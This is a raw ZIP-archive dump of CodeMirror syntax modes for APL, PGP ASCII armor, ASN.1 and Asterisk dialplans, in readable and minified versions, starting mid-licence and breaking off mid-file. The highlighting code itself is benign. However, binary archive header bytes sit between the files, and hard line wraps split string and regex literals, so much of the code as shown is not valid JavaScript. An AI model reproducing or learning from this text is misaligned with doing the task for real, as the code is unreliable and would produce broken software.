furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
PKD��[�$�N��codemirror/mode/apl/apl.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("apl", function() {
  var builtInOps = {
    ".": "innerProduct",
    "\\": "scan",
    "/": "reduce",
    "⌿": "reduce1Axis",
    "⍀": "scan1Axis",
    "¨": "each",
    "⍣": "power"
  };
  var builtInFuncs = {
    "+": ["conjugate", "add"],
    "−": ["negate", "subtract"],
    "×": ["signOf", "multiply"],
    "÷": ["reciprocal", "divide"],
    "⌈": ["ceiling", "greaterOf"],
    "⌊": ["floor", "lesserOf"],
    "∣": ["absolute", "residue"],
    "⍳": ["indexGenerate", "indexOf"],
    "?": ["roll", "deal"],
    "⋆": ["exponentiate", "toThePowerOf"],
    "⍟": ["naturalLog", "logToTheBase"],
    "○": ["piTimes", "circularFuncs"],
    "!": ["factorial", "binomial"],
    "⌹": ["matrixInverse", "matrixDivide"],
    "<": [null, "lessThan"],
    "≤": [null, "lessThanOrEqual"],
    "=": [null, "equals"],
    ">": [null, "greaterThan"],
    "≥": [null, "greaterThanOrEqual"],
    "≠": [null, "notEqual"],
    "≡": ["depth", "match"],
    "≢": [null, "notMatch"],
    "∈": ["enlist", "membership"],
    "⍷": [null, "find"],
    "∪": ["unique", "union"],
    "∩": [null, "intersection"],
    "∼": ["not", "without"],
    "∨": [null, "or"],
    "∧": [null, "and"],
    "⍱": [null, "nor"],
    "⍲": [null, "nand"],
    "⍴": ["shapeOf", "reshape"],
    ",": ["ravel", "catenate"],
    "⍪": [null, "firstAxisCatenate"],
    "⌽": ["reverse", "rotate"],
    "⊖": ["axis1Reverse", "axis1Rotate"],
    "⍉": ["transpose", null],
    "↑": ["first", "take"],
    "↓": [null, "drop"],
    "⊂": ["enclose", "partitionWithAxis"],
    "⊃": ["diclose", "pick"],
    "⌷": [null, "index"],
    "⍋": ["gradeUp", null],
    "⍒": ["gradeDown", null],
    "⊤": ["encode", null],
    "⊥": ["decode", null],
    "⍕": ["format", "formatByExample"],
    "⍎": ["execute", null],
    "⊣": ["stop", "left"],
    "⊢": ["pass", "right"]
  };

  var isOperator = /[\.\/⌿⍀¨⍣]/;
  var isNiladic = /⍬/;
  var isFunction =
/[\+−×÷⌈⌊∣⍳\?⋆⍟○!⌹<≤=>≥≠≡≢∈⍷∪∩∼∨∧⍱⍲⍴,⍪⌽⊖⍉↑↓⊂⊃⌷⍋⍒⊤⊥⍕⍎⊣⊢]/;
  var isArrow = /←/;
  var isComment = /[⍝#].*$/;

  var stringEater = function(type) {
    var prev;
    prev = false;
    return function(c) {
      prev = c;
      if (c === type) {
        return prev === "\\";
      }
      return true;
    };
  };
  return {
    startState: function() {
      return {
        prev: false,
        func: false,
        op: false,
        string: false,
        escape: false
      };
    },
    token: function(stream, state) {
      var ch, funcName;
      if (stream.eatSpace()) {
        return null;
      }
      ch = stream.next();
      if (ch === '"' || ch === "'") {
        stream.eatWhile(stringEater(ch));
        stream.next();
        state.prev = true;
        return "string";
      }
      if (/[\[{\(]/.test(ch)) {
        state.prev = false;
        return null;
      }
      if (/[\]}\)]/.test(ch)) {
        state.prev = true;
        return null;
      }
      if (isNiladic.test(ch)) {
        state.prev = false;
        return "niladic";
      }
      if (/[¯\d]/.test(ch)) {
        if (state.func) {
          state.func = false;
          state.prev = false;
        } else {
          state.prev = true;
        }
        stream.eatWhile(/[\w\.]/);
        return "number";
      }
      if (isOperator.test(ch)) {
        return "operator apl-" + builtInOps[ch];
      }
      if (isArrow.test(ch)) {
        return "apl-arrow";
      }
      if (isFunction.test(ch)) {
        funcName = "apl-";
        if (builtInFuncs[ch] != null) {
          if (state.prev) {
            funcName += builtInFuncs[ch][1];
          } else {
            funcName += builtInFuncs[ch][0];
          }
        }
        state.func = true;
        state.prev = false;
        return "function " + funcName;
      }
      if (isComment.test(ch)) {
        stream.skipToEnd();
        return "comment";
      }
      if (ch === "∘" && stream.peek() ===
".") {
        stream.next();
        return "function jot-dot";
      }
      stream.eatWhile(/[\w\$_]/);
      state.prev = true;
      return "keyword";
    }
  };
});

CodeMirror.defineMIME("text/apl", "apl");

});
PKD��[�+��}
}
codemirror/mode/apl/apl.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("apl",(function(){var
a={".":"innerProduct","\\":"scan","/":"reduce","⌿":"reduce1Axis","⍀":"scan1Axis","¨":"each","⍣":"power"},b={"+":["conjugate","add"],"−":["negate","subtract"],"×":["signOf","multiply"],"÷":["reciprocal","divide"],"⌈":["ceiling","greaterOf"],"⌊":["floor","lesserOf"],"∣":["absolute","residue"],"⍳":["indexGenerate","indexOf"],"?":["roll","deal"],"⋆":["exponentiate","toThePowerOf"],"⍟":["naturalLog","logToTheBase"],"○":["piTimes","circularFuncs"],"!":["factorial","binomial"],"⌹":["matrixInverse","matrixDivide"],"<":[null,"lessThan"],"≤":[null,"lessThanOrEqual"],"=":[null,"equals"],">":[null,"greaterThan"],"≥":[null,"greaterThanOrEqual"],"≠":[null,"notEqual"],"≡":["depth","match"],"≢":[null,"notMatch"],"∈":["enlist","membership"],"⍷":[null,"find"],"∪":["unique","union"],"∩":[null,"intersection"],"∼":["not","without"],"∨":[null,"or"],"∧":[null,"and"],"⍱":[null,"nor"],"⍲":[null,"nand"],"⍴":["shapeOf","reshape"],",":["ravel","catenate"],"⍪":[null,"firstAxisCatenate"],"⌽":["reverse","rotate"],"⊖":["axis1Reverse","axis1Rotate"],"⍉":["transpose",null],"↑":["first","take"],"↓":[null,"drop"],"⊂":["enclose","partitionWithAxis"],"⊃":["diclose","pick"],"⌷":[null,"index"],"⍋":["gradeUp",null],"⍒":["gradeDown",null],"⊤":["encode",null],"⊥":["decode",null],"⍕":["format","formatByExample"],"⍎":["execute",null],"⊣":["stop","left"],"⊢":["pass","right"]},c=/[\.\/⌿⍀¨⍣]/,d=/⍬/,e=/[\+−×÷⌈⌊∣⍳\?⋆⍟○!⌹<≤=>≥≠≡≢∈⍷∪∩∼∨∧⍱⍲⍴,⍪⌽⊖⍉↑↓⊂⊃⌷⍋⍒⊤⊥⍕⍎⊣⊢]/,f=/←/,g=/[⍝#].*$/,h=function(a){var
b;return b=!1,function(c){return
b=c,c!==a||"\\"===b}};return{startState:function(){return{prev:!1,func:!1,op:!1,string:!1,escape:!1}},token:function(i,j){var
k,l;return
i.eatSpace()?null:'"'===(k=i.next())||"'"===k?(i.eatWhile(h(k)),i.next(),j.prev=!0,"string"):/[\[{\(]/.test(k)?(j.prev=!1,null):/[\]}\)]/.test(k)?(j.prev=!0,null):d.test(k)?(j.prev=!1,"niladic"):/[¯\d]/.test(k)?(j.func?(j.func=!1,j.prev=!1):j.prev=!0,i.eatWhile(/[\w\.]/),"number"):c.test(k)?"operator
apl-"+a[k]:f.test(k)?"apl-arrow":e.test(k)?(l="apl-",null!=b[k]&&(j.prev?l+=b[k][1]:l+=b[k][0]),j.func=!0,j.prev=!1,"function
"+l):g.test(k)?(i.skipToEnd(),"comment"):"∘"===k&&"."===i.peek()?(i.next(),"function
jot-dot"):(i.eatWhile(/[\w\$_]/),j.prev=!0,"keyword")}}})),a.defineMIME("text/apl","apl")}));PKD��[oPeُ	�	(codemirror/mode/asciiarmor/asciiarmor.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  function errorIfNotEmpty(stream) {
    var nonWS = stream.match(/^\s*\S/);
    stream.skipToEnd();
    return nonWS ? "error" : null;
  }

  CodeMirror.defineMode("asciiarmor", function() {
    return {
      token: function(stream, state) {
        var m;
        if (state.state == "top") {
          if (stream.sol() && (m = stream.match(/^-----BEGIN
(.*)?-----\s*$/))) {
            state.state = "headers";
            state.type = m[1];
            return "tag";
          }
          return errorIfNotEmpty(stream);
        } else if (state.state == "headers") {
          if (stream.sol() && stream.match(/^\w+:/)) {
            state.state = "header";
            return "atom";
          } else {
            var result = errorIfNotEmpty(stream);
            if (result) state.state = "body";
            return result;
          }
        } else if (state.state == "header") {
          stream.skipToEnd();
          state.state = "headers";
          return "string";
        } else if (state.state == "body") {
          if (stream.sol() && (m = stream.match(/^-----END
(.*)?-----\s*$/))) {
            if (m[1] != state.type) return "error";
            state.state = "end";
            return "tag";
          } else {
            if (stream.eatWhile(/[A-Za-z0-9+\/=]/)) {
              return null;
            } else {
              stream.next();
              return "error";
            }
          }
        } else if (state.state == "end") {
          return errorIfNotEmpty(stream);
        }
      },
      blankLine: function(state) {
        if (state.state == "headers") state.state =
"body";
      },
      startState: function() {
        return {state: "top", type: null};
      }
    };
  });

  CodeMirror.defineMIME("application/pgp",
"asciiarmor");
  CodeMirror.defineMIME("application/pgp-encrypted",
"asciiarmor");
  CodeMirror.defineMIME("application/pgp-keys",
"asciiarmor");
  CodeMirror.defineMIME("application/pgp-signature",
"asciiarmor");
});
PKD��[VϴD��,codemirror/mode/asciiarmor/asciiarmor.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a){var b=a.match(/^\s*\S/);return
a.skipToEnd(),b?"error":null}a.defineMode("asciiarmor",(function(){return{token:function(a,c){var
d;if("top"==c.state)return
a.sol()&&(d=a.match(/^-----BEGIN
(.*)?-----\s*$/))?(c.state="headers",c.type=d[1],"tag"):b(a);if("headers"==c.state){if(a.sol()&&a.match(/^\w+:/))return
c.state="header","atom";var e=b(a);return
e&&(c.state="body"),e}return"header"==c.state?(a.skipToEnd(),c.state="headers","string"):"body"==c.state?a.sol()&&(d=a.match(/^-----END
(.*)?-----\s*$/))?d[1]!=c.type?"error":(c.state="end","tag"):a.eatWhile(/[A-Za-z0-9+\/=]/)?null:(a.next(),"error"):"end"==c.state?b(a):void
0},blankLine:function(a){"headers"==a.state&&(a.state="body")},startState:function(){return{state:"top",type:null}}}})),a.defineMIME("application/pgp","asciiarmor"),a.defineMIME("application/pgp-encrypted","asciiarmor"),a.defineMIME("application/pgp-keys","asciiarmor"),a.defineMIME("application/pgp-signature","asciiarmor")}));PKD��[�j�88codemirror/mode/asn.1/asn.1.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineMode("asn.1", function(config, parserConfig) {
    var indentUnit = config.indentUnit,
        keywords = parserConfig.keywords || {},
        cmipVerbs = parserConfig.cmipVerbs || {},
        compareTypes = parserConfig.compareTypes || {},
        status = parserConfig.status || {},
        tags = parserConfig.tags || {},
        storage = parserConfig.storage || {},
        modifier = parserConfig.modifier || {},
        accessTypes = parserConfig.accessTypes|| {},
        multiLineStrings = parserConfig.multiLineStrings,
        indentStatements = parserConfig.indentStatements !== false;
    var isOperatorChar = /[\|\^]/;
    var curPunc;

    function tokenBase(stream, state) {
      var ch = stream.next();
      if (ch == '"' || ch == "'") {
        state.tokenize = tokenString(ch);
        return state.tokenize(stream, state);
      }
      if (/[\[\]\(\){}:=,;]/.test(ch)) {
        curPunc = ch;
        return "punctuation";
      }
      if (ch == "-"){
        if (stream.eat("-")) {
          stream.skipToEnd();
          return "comment";
        }
      }
      if (/\d/.test(ch)) {
        stream.eatWhile(/[\w\.]/);
        return "number";
      }
      if (isOperatorChar.test(ch)) {
        stream.eatWhile(isOperatorChar);
        return "operator";
      }

      stream.eatWhile(/[\w\-]/);
      var cur = stream.current();
      if (keywords.propertyIsEnumerable(cur)) return "keyword";
      if (cmipVerbs.propertyIsEnumerable(cur)) return "variable
cmipVerbs";
      if (compareTypes.propertyIsEnumerable(cur)) return "atom
compareTypes";
      if (status.propertyIsEnumerable(cur)) return "comment
status";
      if (tags.propertyIsEnumerable(cur)) return "variable-3
tags";
      if (storage.propertyIsEnumerable(cur)) return "builtin
storage";
      if (modifier.propertyIsEnumerable(cur)) return "string-2
modifier";
      if (accessTypes.propertyIsEnumerable(cur)) return "atom
accessTypes";

      return "variable";
    }

    function tokenString(quote) {
      return function(stream, state) {
        var escaped = false, next, end = false;
        while ((next = stream.next()) != null) {
          if (next == quote && !escaped){
            var afterNext = stream.peek();
            //look if the character if the quote is like the B in
'10100010'B
            if (afterNext){
              afterNext = afterNext.toLowerCase();
              if(afterNext == "b" || afterNext == "h"
|| afterNext == "o")
                stream.next();
            }
            end = true; break;
          }
          escaped = !escaped && next == "\\";
        }
        if (end || !(escaped || multiLineStrings))
          state.tokenize = null;
        return "string";
      };
    }

    function Context(indented, column, type, align, prev) {
      this.indented = indented;
      this.column = column;
      this.type = type;
      this.align = align;
      this.prev = prev;
    }
    function pushContext(state, col, type) {
      var indent = state.indented;
      if (state.context && state.context.type ==
"statement")
        indent = state.context.indented;
      return state.context = new Context(indent, col, type, null,
state.context);
    }
    function popContext(state) {
      var t = state.context.type;
      if (t == ")" || t == "]" || t == "}")
        state.indented = state.context.indented;
      return state.context = state.context.prev;
    }

    //Interface
    return {
      startState: function(basecolumn) {
        return {
          tokenize: null,
          context: new Context((basecolumn || 0) - indentUnit, 0,
"top", false),
          indented: 0,
          startOfLine: true
        };
      },

      token: function(stream, state) {
        var ctx = state.context;
        if (stream.sol()) {
          if (ctx.align == null) ctx.align = false;
          state.indented = stream.indentation();
          state.startOfLine = true;
        }
        if (stream.eatSpace()) return null;
        curPunc = null;
        var style = (state.tokenize || tokenBase)(stream, state);
        if (style == "comment") return style;
        if (ctx.align == null) ctx.align = true;

        if ((curPunc == ";" || curPunc == ":" ||
curPunc == ",")
            && ctx.type == "statement"){
          popContext(state);
        }
        else if (curPunc == "{") pushContext(state,
stream.column(), "}");
        else if (curPunc == "[") pushContext(state,
stream.column(), "]");
        else if (curPunc == "(") pushContext(state,
stream.column(), ")");
        else if (curPunc == "}") {
          while (ctx.type == "statement") ctx =
popContext(state);
          if (ctx.type == "}") ctx = popContext(state);
          while (ctx.type == "statement") ctx =
popContext(state);
        }
        else if (curPunc == ctx.type) popContext(state);
        else if (indentStatements && (((ctx.type == "}"
|| ctx.type == "top")
            && curPunc != ';') || (ctx.type ==
"statement"
            && curPunc == "newstatement")))
          pushContext(state, stream.column(), "statement");

        state.startOfLine = false;
        return style;
      },

      electricChars: "{}",
      lineComment: "--",
      fold: "brace"
    };
  });

  function words(str) {
    var obj = {}, words = str.split(" ");
    for (var i = 0; i < words.length; ++i) obj[words[i]] = true;
    return obj;
  }

  CodeMirror.defineMIME("text/x-ttcn-asn", {
    name: "asn.1",
    keywords: words("DEFINITIONS OBJECTS IF DERIVED INFORMATION
ACTION" +
    " REPLY ANY NAMED CHARACTERIZED BEHAVIOUR REGISTERED" +
    " WITH AS IDENTIFIED CONSTRAINED BY PRESENT BEGIN" +
    " IMPORTS FROM UNITS SYNTAX MIN-ACCESS MAX-ACCESS" +
    " MINACCESS MAXACCESS REVISION STATUS DESCRIPTION" +
    " SEQUENCE SET COMPONENTS OF CHOICE DistinguishedName" +
    " ENUMERATED SIZE MODULE END INDEX AUGMENTS EXTENSIBILITY" +
    " IMPLIED EXPORTS"),
    cmipVerbs: words("ACTIONS ADD GET NOTIFICATIONS REPLACE
REMOVE"),
    compareTypes: words("OPTIONAL DEFAULT MANAGED MODULE-TYPE
MODULE_IDENTITY" +
    " MODULE-COMPLIANCE OBJECT-TYPE OBJECT-IDENTITY" +
    " OBJECT-COMPLIANCE MODE CONFIRMED CONDITIONAL" +
    " SUBORDINATE SUPERIOR CLASS TRUE FALSE NULL" +
    " TEXTUAL-CONVENTION"),
    status: words("current deprecated mandatory obsolete"),
    tags: words("APPLICATION AUTOMATIC EXPLICIT IMPLICIT PRIVATE
TAGS" +
    " UNIVERSAL"),
    storage: words("BOOLEAN INTEGER OBJECT IDENTIFIER BIT OCTET
STRING" +
    " UTCTime InterfaceIndex IANAifType CMIP-Attribute" +
    " REAL PACKAGE PACKAGES IpAddress PhysAddress" +
    " NetworkAddress BITS BMPString TimeStamp TimeTicks" +
    " TruthValue RowStatus DisplayString GeneralString" +
    " GraphicString IA5String NumericString" +
    " PrintableString SnmpAdminAtring TeletexString" +
    " UTF8String VideotexString VisibleString StringStore" +
    " ISO646String T61String UniversalString Unsigned32" +
    " Integer32 Gauge Gauge32 Counter Counter32 Counter64"),
    modifier: words("ATTRIBUTE ATTRIBUTES MANDATORY-GROUP
MANDATORY-GROUPS" +
    " GROUP GROUPS ELEMENTS EQUALITY ORDERING SUBSTRINGS" +
    " DEFINED"),
    accessTypes: words("not-accessible accessible-for-notify
read-only" +
    " read-create read-write"),
    multiLineStrings: true
  });
});
PKD��[���X~~
codemirror/mode/asn.1/asn.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a){for(var b={},c=a.split("
"),d=0;d<c.length;++d)b[c[d]]=!0;return
b}a.defineMode("asn.1",(function(a,b){function c(a,b){var
c=a.next();if('"'==c||"'"==c)return
b.tokenize=d(c),b.tokenize(a,b);if(/[\[\]\(\){}:=,;]/.test(c))return
h=c,"punctuation";if("-"==c&&a.eat("-"))return
a.skipToEnd(),"comment";if(/\d/.test(c))return
a.eatWhile(/[\w\.]/),"number";if(t.test(c))return
a.eatWhile(t),"operator";a.eatWhile(/[\w\-]/);var
e=a.current();return
j.propertyIsEnumerable(e)?"keyword":k.propertyIsEnumerable(e)?"variable
cmipVerbs":l.propertyIsEnumerable(e)?"atom
compareTypes":m.propertyIsEnumerable(e)?"comment
status":n.propertyIsEnumerable(e)?"variable-3
tags":o.propertyIsEnumerable(e)?"builtin
storage":p.propertyIsEnumerable(e)?"string-2
modifier":q.propertyIsEnumerable(e)?"atom
accessTypes":"variable"}function d(a){return
function(b,c){for(var
d,e=!1,f=!1;null!=(d=b.next());){if(d==a&&!e){var
g=b.peek();g&&("b"!=(g=g.toLowerCase())&&"h"!=g&&"o"!=g||b.next()),f=!0;break}e=!e&&"\\"==d}return(f||!e&&!r)&&(c.tokenize=null),"string"}}function
e(a,b,c,d,e){this.indented=a,this.column=b,this.type=c,this.align=d,this.prev=e}function
f(a,b,c){var d=a.indented;return
a.context&&"statement"==a.context.type&&(d=a.context.indented),a.context=new
e(d,b,c,null,a.context)}function g(a){var
b=a.context.type;return")"!=b&&"]"!=b&&"}"!=b||(a.indented=a.context.indented),a.context=a.context.prev}var
h,i=a.indentUnit,j=b.keywords||{},k=b.cmipVerbs||{},l=b.compareTypes||{},m=b.status||{},n=b.tags||{},o=b.storage||{},p=b.modifier||{},q=b.accessTypes||{},r=b.multiLineStrings,s=!1!==b.indentStatements,t=/[\|\^]/;return{startState:function(a){return{tokenize:null,context:new
e((a||0)-i,0,"top",!1),indented:0,startOfLine:!0}},token:function(a,b){var
d=b.context;if(a.sol()&&(null==d.align&&(d.align=!1),b.indented=a.indentation(),b.startOfLine=!0),a.eatSpace())return
null;h=null;var e=(b.tokenize||c)(a,b);if("comment"==e)return
e;if(null==d.align&&(d.align=!0),";"!=h&&":"!=h&&","!=h||"statement"!=d.type)if("{"==h)f(b,a.column(),"}");else
if("["==h)f(b,a.column(),"]");else
if("("==h)f(b,a.column(),")");else
if("}"==h){for(;"statement"==d.type;)d=g(b);for("}"==d.type&&(d=g(b));"statement"==d.type;)d=g(b)}else
h==d.type?g(b):s&&(("}"==d.type||"top"==d.type)&&";"!=h||"statement"==d.type&&"newstatement"==h)&&f(b,a.column(),"statement");else
g(b);return
b.startOfLine=!1,e},electricChars:"{}",lineComment:"--",fold:"brace"}})),a.defineMIME("text/x-ttcn-asn",{name:"asn.1",keywords:b("DEFINITIONS
OBJECTS IF DERIVED INFORMATION ACTION REPLY ANY NAMED CHARACTERIZED
BEHAVIOUR REGISTERED WITH AS IDENTIFIED CONSTRAINED BY PRESENT BEGIN
IMPORTS FROM UNITS SYNTAX MIN-ACCESS MAX-ACCESS MINACCESS MAXACCESS
REVISION STATUS DESCRIPTION SEQUENCE SET COMPONENTS OF CHOICE
DistinguishedName ENUMERATED SIZE MODULE END INDEX AUGMENTS EXTENSIBILITY
IMPLIED EXPORTS"),cmipVerbs:b("ACTIONS ADD GET NOTIFICATIONS
REPLACE REMOVE"),compareTypes:b("OPTIONAL DEFAULT MANAGED
MODULE-TYPE MODULE_IDENTITY MODULE-COMPLIANCE OBJECT-TYPE OBJECT-IDENTITY
OBJECT-COMPLIANCE MODE CONFIRMED CONDITIONAL SUBORDINATE SUPERIOR CLASS
TRUE FALSE NULL TEXTUAL-CONVENTION"),status:b("current deprecated
mandatory obsolete"),tags:b("APPLICATION AUTOMATIC EXPLICIT
IMPLICIT PRIVATE TAGS UNIVERSAL"),storage:b("BOOLEAN INTEGER
OBJECT IDENTIFIER BIT OCTET STRING UTCTime InterfaceIndex IANAifType
CMIP-Attribute REAL PACKAGE PACKAGES IpAddress PhysAddress NetworkAddress
BITS BMPString TimeStamp TimeTicks TruthValue RowStatus DisplayString
GeneralString GraphicString IA5String NumericString PrintableString
SnmpAdminAtring TeletexString UTF8String VideotexString VisibleString
StringStore ISO646String T61String UniversalString Unsigned32 Integer32
Gauge Gauge32 Counter Counter32 Counter64"),modifier:b("ATTRIBUTE
ATTRIBUTES MANDATORY-GROUP MANDATORY-GROUPS GROUP GROUPS ELEMENTS EQUALITY
ORDERING SUBSTRINGS DEFINED"),accessTypes:b("not-accessible
accessible-for-notify read-only read-create
read-write"),multiLineStrings:!0})}));PKD��[<�I%��$codemirror/mode/asterisk/asterisk.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

/*
 *
=====================================================================================
 *
 *       Filename:  mode/asterisk/asterisk.js
 *
 *    Description:  CodeMirror mode for Asterisk dialplan
 *
 *        Created:  05/17/2012 09:20:25 PM
 *       Revision:  08/05/2019 AstLinux Project: Support block-comments
 *
 *         Author:  Stas Kobzar (stas@modulis.ca),
 *        Company:  Modulis.ca Inc.
 *
 *
=====================================================================================
 */

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("asterisk", function() {
  var atoms    = ["exten", "same",
"include","ignorepat","switch"],
      dpcmd    = ["#include","#exec"],
      apps     = [
                 
"addqueuemember","adsiprog","aelsub","agentlogin","agentmonitoroutgoing","agi",
                 
"alarmreceiver","amd","answer","authenticate","background","backgrounddetect",
                 
"bridge","busy","callcompletioncancel","callcompletionrequest","celgenuserevent",
                 
"changemonitor","chanisavail","channelredirect","chanspy","clearhash","confbridge",
                 
"congestion","continuewhile","controlplayback","dahdiacceptr2call","dahdibarge",
                 
"dahdiras","dahdiscan","dahdisendcallreroutingfacility","dahdisendkeypadfacility",
                 
"datetime","dbdel","dbdeltree","deadagi","dial","dictate","directory","disa",
                 
"dumpchan","eagi","echo","endwhile","exec","execif","execiftime","exitwhile","extenspy",
                 
"externalivr","festival","flash","followme","forkcdr","getcpeid","gosub","gosubif",
                 
"goto","gotoif","gotoiftime","hangup","iax2provision","ices","importvar","incomplete",
                 
"ivrdemo","jabberjoin","jabberleave","jabbersend","jabbersendgroup","jabberstatus",
                 
"jack","log","macro","macroexclusive","macroexit","macroif","mailboxexists","meetme",
                 
"meetmeadmin","meetmechanneladmin","meetmecount","milliwatt","minivmaccmess","minivmdelete",
                 
"minivmgreet","minivmmwi","minivmnotify","minivmrecord","mixmonitor","monitor","morsecode",
                 
"mp3player","mset","musiconhold","nbscat","nocdr","noop","odbc","odbc","odbcfinish",
                 
"originate","ospauth","ospfinish","osplookup","ospnext","page","park","parkandannounce",
                 
"parkedcall","pausemonitor","pausequeuemember","pickup","pickupchan","playback","playtones",
                 
"privacymanager","proceeding","progress","queue","queuelog","raiseexception","read","readexten",
                 
"readfile","receivefax","receivefax","receivefax","record","removequeuemember",
                 
"resetcdr","retrydial","return","ringing","sayalpha","saycountedadj","saycountednoun",
                 
"saycountpl","saydigits","saynumber","sayphonetic","sayunixtime","senddtmf","sendfax",
                 
"sendfax","sendfax","sendimage","sendtext","sendurl","set","setamaflags",
                 
"setcallerpres","setmusiconhold","sipaddheader","sipdtmfmode","sipremoveheader","skel",
                 
"slastation","slatrunk","sms","softhangup","speechactivategrammar","speechbackground",
                 
"speechcreate","speechdeactivategrammar","speechdestroy","speechloadgrammar","speechprocessingsound",
                 
"speechstart","speechunloadgrammar","stackpop","startmusiconhold","stopmixmonitor","stopmonitor",
                 
"stopmusiconhold","stopplaytones","system","testclient","testserver","transfer","tryexec",
                 
"trysystem","unpausemonitor","unpausequeuemember","userevent","verbose","vmauthenticate",
                 
"vmsayname","voicemail","voicemailmain","wait","waitexten","waitfornoise","waitforring",
                 
"waitforsilence","waitmusiconhold","waituntil","while","zapateller"
                 ];

  function basicToken(stream,state){
    var cur = '';
    var ch = stream.next();
    // comment
    if (state.blockComment) {
      if (ch == "-" && stream.match("-;",
true)) {
        state.blockComment = false;
      } else if (stream.skipTo("--;")) {
        stream.next();
        stream.next();
        stream.next();
        state.blockComment = false;
      } else {
        stream.skipToEnd();
      }
      return "comment";
    }
    if(ch == ";") {
      if (stream.match("--", true)) {
        if (!stream.match("-", false)) {  // Except ;--- is not a
block comment
          state.blockComment = true;
          return "comment";
        }
      }
      stream.skipToEnd();
      return "comment";
    }
    // context
    if(ch == '[') {
      stream.skipTo(']');
      stream.eat(']');
      return "header";
    }
    // string
    if(ch == '"') {
      stream.skipTo('"');
      return "string";
    }
    if(ch == "'") {
      stream.skipTo("'");
      return "string-2";
    }
    // dialplan commands
    if(ch == '#') {
      stream.eatWhile(/\w/);
      cur = stream.current();
      if(dpcmd.indexOf(cur) !== -1) {
        stream.skipToEnd();
        return "strong";
      }
    }
    // application args
    if(ch == '$'){
      var ch1 = stream.peek();
      if(ch1 == '{'){
        stream.skipTo('}');
        stream.eat('}');
        return "variable-3";
      }
    }
    // extension
    stream.eatWhile(/\w/);
    cur = stream.current();
    if(atoms.indexOf(cur) !== -1) {
      state.extenStart = true;
      switch(cur) {
        case 'same': state.extenSame = true; break;
        case 'include':
        case 'switch':
        case 'ignorepat':
          state.extenInclude = true;break;
        default:break;
      }
      return "atom";
    }
  }

  return {
    startState: function() {
      return {
        blockComment: false,
        extenStart: false,
        extenSame:  false,
        extenInclude: false,
        extenExten: false,
        extenPriority: false,
        extenApplication: false
      };
    },
    token: function(stream, state) {

      var cur = '';
      if(stream.eatSpace()) return null;
      // extension started
      if(state.extenStart){
        stream.eatWhile(/[^\s]/);
        cur = stream.current();
        if(/^=>?$/.test(cur)){
          state.extenExten = true;
          state.extenStart = false;
          return "strong";
        } else {
          state.extenStart = false;
          stream.skipToEnd();
          return "error";
        }
      } else if(state.extenExten) {
        // set exten and priority
        state.extenExten = false;
        state.extenPriority = true;
        stream.eatWhile(/[^,]/);
        if(state.extenInclude) {
          stream.skipToEnd();
          state.extenPriority = false;
          state.extenInclude = false;
        }
        if(state.extenSame) {
          state.extenPriority = false;
          state.extenSame = false;
          state.extenApplication = true;
        }
        return "tag";
      } else if(state.extenPriority) {
        state.extenPriority = false;
        state.extenApplication = true;
        stream.next(); // get comma
        if(state.extenSame) return null;
        stream.eatWhile(/[^,]/);
        return "number";
      } else if(state.extenApplication) {
        stream.eatWhile(/,/);
        cur = stream.current();
        if(cur === ',') return null;
        stream.eatWhile(/\w/);
        cur = stream.current().toLowerCase();
        state.extenApplication = false;
        if(apps.indexOf(cur) !== -1){
          return "def strong";
        }
      } else{
        return basicToken(stream,state);
      }

      return null;
    },

    blockCommentStart: ";--",
    blockCommentEnd: "--;",
    lineComment: ";"
  };
});

CodeMirror.defineMIME("text/x-asterisk", "asterisk");

});
PKD��[F�+ 
(codemirror/mode/asterisk/asterisk.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
